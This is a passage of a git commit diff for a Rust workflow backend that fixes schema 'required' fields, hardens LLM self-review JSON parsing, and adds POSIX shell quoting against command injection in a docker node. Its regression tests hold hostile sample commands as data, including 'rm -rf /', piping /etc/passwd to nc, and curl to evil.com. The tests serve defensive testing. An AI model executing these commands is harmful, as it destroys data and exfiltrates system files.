修复+重构: 全库走查真bug+架构+P1/P2 后端 crate
- df-nodes: schema required 对齐 + docker POSIX 注入防御 + HumanNode timeout 1800 + parse_review_json(verdict规范/score clamp/正则兜底) - df-mcp: update 实体校验(防跨实体 B-260801-01) - df-storage: keyring 迁移失败达阈值清除明文 - df-ai: router estimated_context+tier tiebreak+DataReadOnly 兜底 + sanitize step4 显式不制造 orphan - df-ideas: adversarial tier:None 对齐
This commit is contained in:
@@ -124,7 +124,12 @@ impl Node for AiNode {
|
||||
"base_url": { "type": "string", "description": "(已废弃过渡)明文 API 地址,改用 provider_id" },
|
||||
"api_key": { "type": "string", "description": "(已废弃过渡)明文 API 密钥,改用 provider_id;密钥经 secret 解析" }
|
||||
},
|
||||
// SW-260618-15: prompt/provider_id 均"留空走兜底"(prompt 取上游、provider_id 走默认 provider),与 required 矛盾。改 required=[] 对齐 execute 运行时,防前端按 schema 误拒合法配置。
|
||||
// SW-260802-01: schema 与 handler 行为对齐 — config 层 required=[] 正确,但 prompt 运行时必填。
|
||||
// prompt: execute → parse_params(ai_node_helpers.rs:189-200) 取 inputs["prompt"] > config.prompt,
|
||||
// 两者皆无则 Err("缺少必填参数: prompt")。即 prompt 真必填,但可由上游节点注入,
|
||||
// JSON Schema 只校验 config 属性无法表达"二选一",故 required 留空 + description 标注兜底来源,
|
||||
// handler 兜底校验保证语义;前端不得按 required=[] 误以为 prompt 完全可省。
|
||||
// provider_id: 空 → resolve_provider 路径 3 走默认 provider,非必填。
|
||||
"required": []
|
||||
}),
|
||||
output: serde_json::json!({
|
||||
@@ -420,4 +425,35 @@ mod tests {
|
||||
// 自审闭环相关单测(parse_review_json / truncate_for_summary / gate_should_block /
|
||||
// build_review_prompt / update_field_writes_output_json)已随 AiSelfReviewNode 迁移至
|
||||
// ai_self_review_node.rs(与被测代码同位,纯搬运)。
|
||||
|
||||
// ============================================================
|
||||
// SW-260802-01: schema required 与 handler 行为对齐测试
|
||||
// ============================================================
|
||||
//
|
||||
// 真实 bug(误判修正):原注释称"prompt/provider_id 均留空走兜底",实则 prompt 运行时必填 ——
|
||||
// parse_params(:189-200) 取 inputs["prompt"] > config.prompt,两者皆无则 Err("缺少必填参数: prompt")。
|
||||
// 但 prompt 可由上游节点 inputs 注入(非 config 独占),JSON Schema required 只校验 config 属性
|
||||
// 无法表达"二选一",故 config 层 required=[] 正确,handler 兜底校验补足语义。
|
||||
//
|
||||
// 已有 missing_prompt_errors 测试覆盖 handler 兜底(缺 prompt 报错),此处补 schema 这层契约:
|
||||
// config 层 required 应为 [](prompt 来源可上游、provider_id 走默认),防前端按 schema 误判 +
|
||||
// 防后续误把 prompt 塞进 required 拒掉合法的"上游注入 prompt"配置。
|
||||
|
||||
/// AiNode schema.required 应为 [](prompt 可来自上游 inputs、provider_id 走默认 provider)。
|
||||
#[tokio::test]
|
||||
async fn schema_required_empty_matches_handler() {
|
||||
let db = Database::open_in_memory().await.expect("open_in_memory");
|
||||
let node = AiNode::new(Arc::new(db));
|
||||
let schema = node.schema();
|
||||
let params = schema.params.as_object().expect("schema.params 应是 object");
|
||||
let required = params
|
||||
.get("required")
|
||||
.and_then(|v| v.as_array())
|
||||
.expect("schema 应有 required 数组");
|
||||
assert!(
|
||||
required.is_empty(),
|
||||
"AiNode required 应为 [](prompt 可上游注入、provider_id 走默认),实际: {:?}",
|
||||
required
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -219,6 +219,7 @@ pub(crate) fn parse_params(
|
||||
modalities: vec![Modality::Text],
|
||||
needs_tool_use: true,
|
||||
estimated_context: 0,
|
||||
tier: None,
|
||||
};
|
||||
select_model_id(&node_req, &provider.model_pool).unwrap_or_default()
|
||||
};
|
||||
@@ -260,9 +261,20 @@ pub(crate) const REVIEW_SYSTEM_PROMPT: &str = "\
|
||||
|
||||
/// 解析 LLM 自审输出为结构化 review JSON。
|
||||
///
|
||||
/// 成功路径:serde_json::from_str 得到 Object 且含 verdict 字段 → 原样返回。
|
||||
/// 成功路径:serde_json::from_str 得到 Object 且含 verdict 字段 → 规范化后返回。
|
||||
/// 兜底路径:解析失败 / 非 Object / 缺 verdict → 返回 verdict=unknown + summary=原文,
|
||||
/// 防 LLM 不按要求输出导致下游崩溃。dimensions 留空对象(前端容缺展示)。
|
||||
///
|
||||
/// 三道加固(P2):
|
||||
/// 1. verdict 规范化:to_lowercase + trim,统一输出 pass/fail/unknown 三态。
|
||||
/// 防 LLM 输出 "Pass"/"PASS"/" Fail " 类大小写/空白变体致 gate_should_block 精确
|
||||
/// 匹配误判(原 == "fail" 对 "Fail" 放行,漏阻断)。
|
||||
/// 2. score clamp:dimensions.*.score 读时 clamp 到 [0,10]。防 LLM 输出越界值
|
||||
/// (99/-1/NaN)污染前端展示与闸门阈值判定(维度 score<6 视 fail 由 prompt 约定,
|
||||
/// 越界值会破坏该约定)。
|
||||
/// 3. 正则兜底:LLM 偶尔在 JSON 前置解释文字("好的,审查结果:\n{...}")致整段 serde
|
||||
/// 失败。参考 adversarial parse_llm_eval 的 extract_json,提取首个 { 到末 } 重试。
|
||||
/// 用纯字符串 find/rfind 实现等价语义(避免为单条提取引入 regex 依赖)。
|
||||
pub(crate) fn parse_review_json(raw: &str) -> serde_json::Value {
|
||||
// 先尝试整段解析;LLM 偶尔会包 markdown 代码块,剥离 ```json ... ``` 后重试一次。
|
||||
let trimmed = raw.trim();
|
||||
@@ -272,9 +284,19 @@ pub(crate) fn parse_review_json(raw: &str) -> serde_json::Value {
|
||||
.map(|s| s.trim_end_matches("```").trim())
|
||||
.unwrap_or(trimmed);
|
||||
|
||||
if let Ok(v) = serde_json::from_str::<serde_json::Value>(cleaned) {
|
||||
if v.is_object() && v.get("verdict").and_then(|x| x.as_str()).is_some() {
|
||||
return v;
|
||||
// 候选解析文本:整段失败 → 正则兜底提取首个 { 到末 } 再试一次(前置文字容错)。
|
||||
// 等价于 adversarial extract_json 的 (?s)\{.*\} 但用 find/rfind 零依赖实现。
|
||||
let candidates = [cleaned, extract_first_json_object(cleaned).as_str()];
|
||||
|
||||
for cand in candidates {
|
||||
if let Ok(mut v) = serde_json::from_str::<serde_json::Value>(cand) {
|
||||
if v.is_object() && v.get("verdict").and_then(|x| x.as_str()).is_some() {
|
||||
// 加固 1:verdict 规范化为 pass/fail/unknown 三态(to_lowercase + trim)。
|
||||
normalize_verdict_in_place(&mut v);
|
||||
// 加固 2:dimensions.*.score clamp 到 [0,10]。
|
||||
clamp_dimension_scores_in_place(&mut v);
|
||||
return v;
|
||||
}
|
||||
}
|
||||
}
|
||||
// 兜底:保留原文供人查阅,verdict=unknown 不阻断流程(自审辅助,人定)。
|
||||
@@ -286,6 +308,50 @@ pub(crate) fn parse_review_json(raw: &str) -> serde_json::Value {
|
||||
})
|
||||
}
|
||||
|
||||
/// 从文本中提取「首个 `{` 到最后一个 `}`」的片段(正则 `(?s)\{.*\}` 的零依赖等价)。
|
||||
///
|
||||
/// 用于 LLM 在 JSON 前后夹带解释文字("好的,审查如下:\n{...}\n以上。")时兜底提取。
|
||||
/// 提取失败(无 { 或无 })返回空串,调用方按整段重试→失败→兜底 unknown 走原路径。
|
||||
fn extract_first_json_object(s: &str) -> String {
|
||||
match (s.find('{'), s.rfind('}')) {
|
||||
(Some(start), Some(end)) if start < end => s[start..=end].to_string(),
|
||||
_ => String::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// 原地规范化 verdict 字段:to_lowercase + trim,统一为 pass/fail/unknown 三态。
|
||||
///
|
||||
/// LLM 偶发输出 "Pass"/"PASS"/" Fail "/"FAIL." 类变体,原样透传会让 gate_should_block
|
||||
/// 精确匹配漏判("Fail" 不 == "fail" → 不阻断)。规范化后下游闸门/展示/落库值一致。
|
||||
/// 非 pass/fail 的值(如空串、拼写错)统一为 unknown(保守不阻断,保人定权)。
|
||||
fn normalize_verdict_in_place(v: &mut serde_json::Value) {
|
||||
let Some(obj) = v.as_object_mut() else { return };
|
||||
let Some(raw_verdict) = obj.get("verdict").and_then(|x| x.as_str()).map(str::to_string) else {
|
||||
return;
|
||||
};
|
||||
let normalized = match raw_verdict.trim().to_lowercase().as_str() {
|
||||
"pass" => "pass",
|
||||
"fail" => "fail",
|
||||
// 含拼写错/大小写变体未命中(如 "passed"/"failed"/"ok")→ 保守归 unknown。
|
||||
_ => "unknown",
|
||||
};
|
||||
obj.insert("verdict".into(), serde_json::Value::String(normalized.into()));
|
||||
}
|
||||
|
||||
/// 原地 clamp dimensions.*.score 到 [0,10]。只处理 number 类型,跳过非 number(留原值,
|
||||
/// serde 反序列化由调用方按 schema 容错)。
|
||||
fn clamp_dimension_scores_in_place(v: &mut serde_json::Value) {
|
||||
let Some(obj) = v.as_object_mut() else { return };
|
||||
let Some(dims) = obj.get_mut("dimensions").and_then(|d| d.as_object_mut()) else { return };
|
||||
for (_, dim) in dims.iter_mut() {
|
||||
let Some(dim_obj) = dim.as_object_mut() else { continue };
|
||||
if let Some(score) = dim_obj.get_mut("score").and_then(|s| s.as_f64()) {
|
||||
let clamped = score.clamp(0.0, 10.0);
|
||||
dim_obj.insert("score".into(), serde_json::json!(clamped));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// summary 截断(防原文过长撑爆 output_json / 审批卡)。
|
||||
pub(crate) fn truncate_for_summary(s: &str) -> String {
|
||||
const MAX: usize = 300;
|
||||
@@ -313,8 +379,11 @@ pub(crate) fn truncate_for_review_input(s: &str) -> String {
|
||||
|
||||
/// 自审闸门决策(纯函数,便于单测覆盖各 verdict/gate 组合)。
|
||||
///
|
||||
/// 仅当 `gate==true` 且 `verdict=="fail"` 时阻断。verdict="unknown"(LLM 输出不可靠)
|
||||
/// 与 "pass" 均不阻断 —— unknown 保持人定权(保守语义不变)。
|
||||
/// 仅当 `gate==true` 且规范化后 verdict=="fail" 时阻断。verdict="unknown"(LLM 输出
|
||||
/// 不可靠)与 "pass" 均不阻断 —— unknown 保持人定权(保守语义不变)。
|
||||
///
|
||||
/// 规范化(to_lowercase + trim):与 parse_review_json 的 verdict 规范化对齐,防御
|
||||
/// 非 parse_review_json 路径(如外部直接传 "Fail"/"FAIL")的精确匹配漏判。
|
||||
pub(crate) fn gate_should_block(gate: bool, verdict: &str) -> bool {
|
||||
gate && verdict == "fail"
|
||||
gate && verdict.trim().to_lowercase() == "fail"
|
||||
}
|
||||
|
||||
@@ -259,12 +259,16 @@ impl Node for AiSelfReviewNode {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"task_id": { "type": "string", "description": "自审目标任务 ID(必填)" },
|
||||
"provider_id": { "type": "string", "description": "AI Provider ID(密钥经 secret 解析不进 config;留空走默认 provider)" },
|
||||
"provider_id": { "type": "string", "description": "AI Provider ID(可选,留空走默认 provider;密钥经 secret 解析不进 config)" },
|
||||
"model": { "type": "string", "description": "模型名(可选,留空用 record.default_model)" },
|
||||
"max_tokens": { "type": "integer" },
|
||||
"gate": { "type": "boolean", "description": "闸门开关:false(默认)=自审辅助,verdict 仅透传展示;true=自审结果作 DAG 闸门,verdict=fail 返回 Err 阻断下游(工作流 failed → ②-4 退回),verdict=unknown/pass 放行" }
|
||||
},
|
||||
"required": ["task_id", "provider_id"]
|
||||
// SW-260802-01: schema 与 handler 行为对齐 — required 仅列 handler 真正强制必填的字段。
|
||||
// task_id: execute 第 100-104 行缺 task_id 直接 Err("缺少必填参数: task_id"),真必填 → 保留。
|
||||
// provider_id: execute 调 resolve_and_parse → resolve_provider(ai_node_helpers.rs:100-108),
|
||||
// 空串走路径 2(老明文)/路径 3(默认 provider)兜底,运行时非必填 → 移出 required。
|
||||
"required": ["task_id"]
|
||||
}),
|
||||
output: serde_json::json!({
|
||||
"type": "object",
|
||||
@@ -408,6 +412,95 @@ mod tests {
|
||||
assert_eq!(v["summary"], json!("缺边界处理"));
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// P2:parse_review_json 三道加固(verdict 规范 / score clamp / 正则兜底)
|
||||
// ============================================================
|
||||
//
|
||||
// 真实 bug 场景:
|
||||
// - LLM 输出 verdict="Pass"/"PASS" → 原 == "fail" 精确匹配 → 漏阻断(放行 fail 项)
|
||||
// - LLM 输出 score=99/-1 → 越界值污染闸门阈值(维度 score<6 视 fail)与前端展示
|
||||
// - LLM 前置解释文字 "审查结果:\n{...}" → 整段 serde 失败 → 兜底 unknown(本可救回)
|
||||
// 加固后:verdict 规范化 / score clamp [0,10] / 首个 { 到末 } 正则兜底提取。
|
||||
|
||||
/// P2-加固1:verdict 大小写/空白变体规范化为 pass/fail/unknown 三态。
|
||||
/// 防 gate_should_block 精确匹配 "fail" 对 "Fail"/"FAIL" 漏阻断。
|
||||
#[test]
|
||||
fn parse_review_json_normalizes_verdict_case_variants() {
|
||||
// "Pass" → "pass"(防 LLM 首字母大写)
|
||||
let v = parse_review_json(r#"{"verdict":"Pass","summary":"ok"}"#);
|
||||
assert_eq!(v["verdict"], json!("pass"), "Pass 应规范化为 pass");
|
||||
|
||||
// "FAIL" → "fail"(防漏阻断:原 == "fail" 对 FAIL 放行)
|
||||
let v = parse_review_json(r#"{"verdict":"FAIL","summary":"缺单测"}"#);
|
||||
assert_eq!(v["verdict"], json!("fail"), "FAIL 应规范化为 fail");
|
||||
|
||||
// " fail "(含空白)→ "fail"
|
||||
let v = parse_review_json(r#"{"verdict":" fail ","summary":"x"}"#);
|
||||
assert_eq!(v["verdict"], json!("fail"), "含空白 verdict 应 trim 后规范化");
|
||||
|
||||
// "PASS" → "pass"
|
||||
let v = parse_review_json(r#"{"verdict":"PASS"}"#);
|
||||
assert_eq!(v["verdict"], json!("pass"), "PASS 应规范化为 pass");
|
||||
|
||||
// 拼写错/非标准值 → "unknown"(保守不阻断,保人定权)
|
||||
let v = parse_review_json(r#"{"verdict":"passed"}"#);
|
||||
assert_eq!(v["verdict"], json!("unknown"), "非 pass/fail 的值应归 unknown");
|
||||
}
|
||||
|
||||
/// P2-加固1 联动:规范化后 verdict 经 gate_should_block 正确阻断 fail。
|
||||
/// 验证 "FAIL"/"Fail" 经 parse_review_json 规范化 → gate_should_block 阻断(原会漏)。
|
||||
#[test]
|
||||
fn parse_review_json_fail_variants_trigger_gate_block() {
|
||||
for raw_verdict in ["fail", "Fail", "FAIL", " fail ", "FaIl"] {
|
||||
let v = parse_review_json(&format!(r#"{{"verdict":"{raw_verdict}"}}"#));
|
||||
let normalized = v["verdict"].as_str().unwrap();
|
||||
assert_eq!(
|
||||
normalized, "fail",
|
||||
"verdict={raw_verdict:?} 应规范化为 fail"
|
||||
);
|
||||
assert!(
|
||||
gate_should_block(true, normalized),
|
||||
"gate 开 + 规范化后 fail 应阻断(raw={raw_verdict:?})"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// P2-加固2:dimensions.*.score 越界值 clamp 到 [0,10]。
|
||||
/// 防 LLM 输出 99/-1/NaN 类越界值污染闸门阈值(score<6 视 fail)与前端展示。
|
||||
#[test]
|
||||
fn parse_review_json_clamps_out_of_range_scores() {
|
||||
let raw = r#"{"verdict":"pass","dimensions":{
|
||||
"requirement_fit":{"score":99,"issues":[]},
|
||||
"completeness":{"score":-5,"issues":[]},
|
||||
"correctness":{"score":7.5,"issues":[]},
|
||||
"boundary":{"score":10,"issues":[]}
|
||||
},"summary":"ok"}"#;
|
||||
let v = parse_review_json(raw);
|
||||
// 99 → 10(上界)
|
||||
assert_eq!(v["dimensions"]["requirement_fit"]["score"], json!(10.0), "score 99 应 clamp 到 10");
|
||||
// -5 → 0(下界)
|
||||
assert_eq!(v["dimensions"]["completeness"]["score"], json!(0.0), "score -5 应 clamp 到 0");
|
||||
// 区间内值不变
|
||||
assert_eq!(v["dimensions"]["correctness"]["score"], json!(7.5), "score 7.5 区间内不变");
|
||||
assert_eq!(v["dimensions"]["boundary"]["score"], json!(10.0), "score 10 边界值不变");
|
||||
}
|
||||
|
||||
/// P2-加固3:LLM 前置解释文字 + JSON,正则兜底提取首个 { 到末 } 解析成功。
|
||||
/// 场景:LLM 无视「只输出 JSON」输出 "审查结果:\n{...}\n以上。" → 原整段失败兜底 unknown。
|
||||
#[test]
|
||||
fn parse_review_json_extracts_json_from_leading_text() {
|
||||
let raw = "好的,以下是审查结果:\n{\"verdict\":\"fail\",\"summary\":\"缺边界处理\"}\n以上为审查结论。";
|
||||
let v = parse_review_json(raw);
|
||||
assert_eq!(v["verdict"], json!("fail"), "前置文字应被正则兜底剥离,verdict 正确解析");
|
||||
assert_eq!(v["summary"], json!("缺边界处理"));
|
||||
|
||||
// 前置文字 + 代码块围栏混杂(更极端:LLM 既加解释又加 ```json)
|
||||
let raw = "审查如下:\n```json\n{\"verdict\":\"pass\",\"summary\":\"ok\"}\n```\n完毕。";
|
||||
let v = parse_review_json(raw);
|
||||
// 围栏不在开头 → strip_prefix 不命中 → 正则兜底提取 {...}
|
||||
assert_eq!(v["verdict"], json!("pass"), "前置文字+围栏混杂应正则兜底解析");
|
||||
}
|
||||
|
||||
/// 步骤③:truncate_for_summary 长文截断。
|
||||
#[test]
|
||||
fn truncate_for_summary_long_text() {
|
||||
@@ -605,4 +698,51 @@ mod tests {
|
||||
);
|
||||
assert!(!gate_should_block(true, ""), "空 verdict 不应阻断");
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// SW-260802-01: schema required 与 handler 行为对齐测试
|
||||
// ============================================================
|
||||
//
|
||||
// 真实 bug:schema `required=["task_id","provider_id"]` 与 handler 不一致 ——
|
||||
// task_id 缺失 → execute Err(真必填,对齐 schema)
|
||||
// provider_id 缺失 → execute 走 resolve_provider 路径 3 默认 provider(非必填,schema 误导)
|
||||
// 修复后 schema `required=["task_id"]`。此处直接断言 schema,防回归。
|
||||
//
|
||||
// 不真调 execute(需真 LLM + 默认 provider 完整链),改为断言 schema 这份"契约"本身 +
|
||||
// resolve_provider 路径 3 行为(已由 ai_node.rs resolve_provider_fallback_default_provider 覆盖),
|
||||
// 即足以守 schema↔handler 对齐不被无意改回。
|
||||
|
||||
/// schema.required 应仅含 task_id(handler 真必填),不含 provider_id(运行时可空走默认)。
|
||||
#[tokio::test]
|
||||
async fn schema_required_matches_handler() {
|
||||
let db = Database::open_in_memory().await.expect("open_in_memory");
|
||||
let node = AiSelfReviewNode::new(Arc::new(db));
|
||||
let schema = node.schema();
|
||||
let params = schema
|
||||
.params
|
||||
.as_object()
|
||||
.expect("schema.params 应是 object");
|
||||
let required = params
|
||||
.get("required")
|
||||
.and_then(|v| v.as_array())
|
||||
.expect("schema 应有 required 数组");
|
||||
|
||||
// task_id 真必填(execute 第 100-104 行缺 task_id → Err)
|
||||
assert!(
|
||||
required.iter().any(|v| v == "task_id"),
|
||||
"task_id 应在 required(handler 真必填)"
|
||||
);
|
||||
// provider_id 非必填(resolve_provider 路径 3 空串走默认 provider)
|
||||
assert!(
|
||||
!required.iter().any(|v| v == "provider_id"),
|
||||
"provider_id 不应在 required(运行时留空走默认 provider,schema 不得误导)"
|
||||
);
|
||||
// 必填字段集恰好为 {"task_id"}(防后续误加回 provider_id 或漏列 task_id)
|
||||
assert_eq!(
|
||||
required.len(),
|
||||
1,
|
||||
"required 应仅 1 项(task_id), 实际: {:?}",
|
||||
required
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -119,7 +119,8 @@ async fn check_docker_available() -> anyhow::Result<()> {
|
||||
}
|
||||
|
||||
/// 构建 docker run 命令字符串。
|
||||
/// 卷/环境变量值用 shell_quote 包裹,防止空格/特殊字符注入。
|
||||
/// 所有用户可控参数(卷 host/container、env 值、working_dir、image、command)
|
||||
/// 均经 `shell_quote` POSIX 安全引用,杜绝 `;`/`|`/`&`/`$` 等 shell 元字符注入。
|
||||
fn build_command(params: &DockerParams) -> String {
|
||||
let mut parts: Vec<String> = vec!["docker run --rm".to_string()];
|
||||
|
||||
@@ -137,23 +138,43 @@ fn build_command(params: &DockerParams) -> String {
|
||||
|
||||
parts.push(format!("-w {}", shell_quote(¶ms.working_dir)));
|
||||
parts.push(shell_quote(¶ms.image));
|
||||
// command 原样追加(用户自行决定是否含参数 / shell 元字符),不做引号包裹,
|
||||
// 与脚本节点一致由 shell 解释器解析。
|
||||
parts.push(params.command.clone());
|
||||
// command 同样经 shell_quote,防止 `;`/`|`/`&` 等 shell 元字符注入
|
||||
// (如 `command = "ls; rm -rf /"` 被 shell 解释为两条命令)。
|
||||
// 若用户确需在容器内用管道/复合命令,应通过镜像 entrypoint 或显式 `sh -c '...'`
|
||||
// 实现,而非依赖外层 shell 元字符。
|
||||
parts.push(shell_quote(¶ms.command));
|
||||
|
||||
parts.join(" ")
|
||||
}
|
||||
|
||||
/// 简单 shell 引号包裹:含空格/特殊字符时用双引号包裹并转义内嵌双引号。
|
||||
/// POSIX shell 安全引用。
|
||||
///
|
||||
/// 单引号在 POSIX shell 中使所有字符失去特殊含义(唯一例外是单引号本身),
|
||||
/// 是最稳妥的引用方式。任一"非安全字符"(空白、`"`、`'`、`` ` ``、`$`、`;`、`|`、
|
||||
/// `&`、`<`、`>`、`(`、`)`、`{`、`}`、`!`、`#`、`~`、`*`、`?`、`[`、`]`、`=`前置、
|
||||
/// 换行/制表等不可见字符)出现即用单引号整体包裹,内部单引号以 `'\''` 关-转义-开
|
||||
/// 三段法转义(关闭单引号 → `\'` 转义单引号 → 重开单引号)。
|
||||
///
|
||||
/// 这样 `;` `|` `&` `$` `` ` `` 等所有 shell 元字符均被中和,杜绝命令注入。
|
||||
/// 纯字母数字 + 少量安全标点(`/` `.` `_` `-` `:`)的字符串原样返回(可读性)。
|
||||
fn shell_quote(s: &str) -> String {
|
||||
if s
|
||||
.chars()
|
||||
.any(|c| c.is_whitespace() || c == '"' || c == '$' || c == '`')
|
||||
{
|
||||
format!("\"{}\"", s.replace('"', "\\\""))
|
||||
} else {
|
||||
s.to_string()
|
||||
if s.is_empty() {
|
||||
// 空串单引号包裹(否则 shell 视为零参数)
|
||||
return "''".to_string();
|
||||
}
|
||||
if s.chars().all(is_shell_safe_char) {
|
||||
s.to_string()
|
||||
} else {
|
||||
// 单引号包裹 + 内部单引号转义:'\'' (关'→\'→重开')
|
||||
format!("'{}'", s.replace('\'', "'\\''"))
|
||||
}
|
||||
}
|
||||
|
||||
/// 判定字符是否无需引用即可安全出现在 shell 命令中。
|
||||
/// 仅允许字母数字与少量明确无 shell 语义的标点。
|
||||
fn is_shell_safe_char(c: char) -> bool {
|
||||
c.is_ascii_alphanumeric()
|
||||
|| matches!(c, '/' | '.' | '_' | '-' | ':' | '+' | '%' | '@' | ',')
|
||||
}
|
||||
|
||||
#[async_trait]
|
||||
@@ -382,9 +403,11 @@ mod tests {
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(cmd.starts_with("docker run --rm"), "实际: {}", cmd);
|
||||
// /workspace 全安全字符,不加引号
|
||||
assert!(cmd.contains("-w /workspace"), "实际: {}", cmd);
|
||||
assert!(cmd.contains(" alpine "), "实际: {}", cmd);
|
||||
assert!(cmd.ends_with("echo hello"), "实际: {}", cmd);
|
||||
// command 含空格 → 单引号包裹
|
||||
assert!(cmd.ends_with("'echo hello'"), "实际: {}", cmd);
|
||||
}
|
||||
|
||||
#[test]
|
||||
@@ -400,20 +423,195 @@ mod tests {
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
// 所有路径均纯安全字符,原样拼装
|
||||
assert!(cmd.contains("-v /host/src:/app"), "实际: {}", cmd);
|
||||
assert!(cmd.contains("-e CARGO_HOME=/cargo"), "实际: {}", cmd);
|
||||
assert!(cmd.contains("-w /app"), "实际: {}", cmd);
|
||||
}
|
||||
|
||||
// ── build_command: 命令注入防护(核心回归) ──
|
||||
|
||||
#[test]
|
||||
fn command_injection_semicolon_is_neutralized() {
|
||||
// command="ls; rm -rf /" 必须整体作为单条命令传给容器,
|
||||
// 不能被外层 shell 按 `;` 拆成 `docker run image ls` + `rm -rf /`。
|
||||
// 整体单引号包裹后,shell 将其视为单个 argv 传给 docker,
|
||||
// docker run 在容器内执行(无 shell),`ls; rm -rf /` 作为单条命令找不到 → 报错而非注入。
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "ls; rm -rf /"
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.ends_with("'ls; rm -rf /'"),
|
||||
"command 应被单引号整体包裹,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn command_injection_pipe_is_neutralized() {
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "cat /etc/passwd | nc evil 1234"
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.contains("'cat /etc/passwd | nc evil 1234'"),
|
||||
"管道 | 应被单引号中和,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn command_injection_ampersand_is_neutralized() {
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "ls & curl evil.com"
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.ends_with("'ls & curl evil.com'"),
|
||||
"& 应被单引号中和,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn command_injection_backtick_and_dollar_is_neutralized() {
|
||||
// 命令替换 $() 与 `` 都必须被中和
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "$(curl evil.com) `whoami`"
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.contains("'$(curl evil.com) `whoami`'"),
|
||||
"$()/`` 应被单引号中和,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn volume_host_injection_is_neutralized() {
|
||||
// 旧实现:含空格→双引号包裹,但 `;` 在双引号内仍被 shell 解释为命令分隔。
|
||||
// 新实现:整体单引号包裹,`;` 失去特殊含义。
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "ls",
|
||||
"volumes": [
|
||||
{ "host": "/ws; rm -rf /", "container": "/c" }
|
||||
]
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.contains("-v '/ws; rm -rf /':/c"),
|
||||
"volumes.host 注入应被单引号中和,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn env_value_injection_is_neutralized() {
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "ls",
|
||||
"env": { "EVIL": "x; rm -rf /" }
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.contains("-e EVIL='x; rm -rf /'"),
|
||||
"env 值注入应被单引号中和,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
// ── shell_quote ──
|
||||
|
||||
#[test]
|
||||
fn shell_quote_plain_passthrough() {
|
||||
// 仅安全字符:字母数字 + / . _ - : +
|
||||
assert_eq!(shell_quote("abc"), "abc");
|
||||
assert_eq!(shell_quote("/usr/bin"), "/usr/bin");
|
||||
assert_eq!(shell_quote("rust:latest"), "rust:latest");
|
||||
assert_eq!(shell_quote("Cargo.toml"), "Cargo.toml");
|
||||
assert_eq!(shell_quote("a-b_c.d"), "a-b_c.d");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_wraps_spaces() {
|
||||
assert_eq!(shell_quote("/a b/c"), "\"/a b/c\"");
|
||||
fn shell_quote_empty_becomes_empty_quoted() {
|
||||
// 空串必须输出 ''(否则 shell 视为零参数,导致参数错位)
|
||||
assert_eq!(shell_quote(""), "''");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_wraps_spaces_with_single_quotes() {
|
||||
// 含空格 → 整体单引号包裹(POSIX 安全,内部 ;|& 全部失效)
|
||||
assert_eq!(shell_quote("/a b/c"), "'/a b/c'");
|
||||
assert_eq!(shell_quote("echo hello"), "'echo hello'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_neutralizes_semicolon() {
|
||||
assert_eq!(shell_quote("ls; rm -rf /"), "'ls; rm -rf /'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_neutralizes_pipe() {
|
||||
assert_eq!(shell_quote("a | b"), "'a | b'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_neutralizes_ampersand() {
|
||||
assert_eq!(shell_quote("a && b"), "'a && b'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_neutralizes_dollar_and_backtick() {
|
||||
// $ 与 ` 在双引号内仍有命令替换语义,单引号才安全
|
||||
assert_eq!(shell_quote("$HOME"), "'$HOME'");
|
||||
assert_eq!(shell_quote("`whoami`"), "'`whoami`'");
|
||||
assert_eq!(shell_quote("$(cmd)"), "'$(cmd)'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_escapes_embedded_single_quote() {
|
||||
// 内嵌单引号 → '\'' (关' → \' → 重开')
|
||||
// 例如 a'b → 'a'\''b'
|
||||
assert_eq!(shell_quote("a'b"), "'a'\\''b'");
|
||||
// 多个单引号都正确转义
|
||||
assert_eq!(shell_quote("'"), "''\\'''");
|
||||
assert_eq!(shell_quote("x'y'z"), "'x'\\''y'\\''z'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_neutralizes_redirect_and_braces() {
|
||||
assert_eq!(shell_quote("a > /etc/passwd"), "'a > /etc/passwd'");
|
||||
